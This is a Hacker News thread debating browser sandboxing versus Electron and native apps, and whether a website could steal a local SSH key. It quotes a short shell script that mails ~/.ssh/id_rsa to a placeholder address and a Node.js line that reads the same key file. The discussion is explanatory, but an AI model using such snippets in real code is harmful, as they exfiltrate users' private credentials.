Hacker News Reader

Comment by geofft | Hacker News Reader

Very much not so?

Here's an email attachment that compromises your SSH private key:

    #!/bin/sh
    mail geofft@example.com <  ~/.ssh/id_rsa

(With obvious changes for other OSes, but that's roughly the complexity of it, everywhere.)

Can you provide an example of "arbitrary JS with even more bare metal abilities" that can do the same thing? I'll even visit your website, with JavaScript enabled, on my laptop with a private key that can access GitHub.

View on HN

Here's a web app that compromises your SSH private key: use the discord client in chromium.

Their electron client is literally a remote administration toolkit, it has full access to FS (electron app) and it loads every script from their servers. On launch the desktop client opens websocket server for command and control listening.

They can just add something like require('fs').readFileSync(process.env.HOME + '/.ssh/id_rsa').toString() and send this to their servers, and you won't even notice that (since it doesn't require an update on client because the client is just a browser with full permissions that loads obfuscated code from their servers every time you launch it).

>the discord client in chromium.

running in-browser is not the same as installing their electron client.

Not sure I follow. The following certainly does not work:

1. Install Chromium from https://www.chromium.org/

2. Go to https://discord.com/ and click "Open Discord in your browser"

3. Discord can read files from ~/.ssh

You mention "Electron," but Electron is a local application. So it doesn't satisfy my request, which is that I want you to steal my SSH private key when I visit a website in a web browser.

Electron is basically a framework for native apps, they're only "web" apps in architecture and language choice. They have all of the same permissions as native apps and basically zero sandboxing. They're frequently extended using low-level code. They can call out to system libraries.

For the scope of the current conversation, Electron apps can already be file handlers on every single desktop platform, so we're pretty clearly not talking about Electron when we critique these new web standards. Electron doesn't care about your opinion of web standards or what is or isn't getting fast-tracked in Chrome, Electron can already do whatever it wants.

That's not to say that Electron's lack of sandboxing isn't a problem, it absolutely is. But it's just not really relevant to what we're talking about right now, and it's a problem that almost every native app platform shares with Electron.

One of the goals with introducing newer "riskier" standards on the web is to get an application platform that does have sandboxing -- it's to be able to use Electron and other unsandboxed apps for fewer things. Whether that's a good goal I'm not going to comment on; different people have different opinions on the direction of the web as an app platform and whether it's smart for Google to be breaking all these holes in an otherwise decent sandbox. But regardless, Electron is not the web.

The Discord native client is not a web app. Any application you download can exfiltrate your private key. It's statically linked to Chromium (through Electron), but it's running native code.

Reply on news.ycombinator.com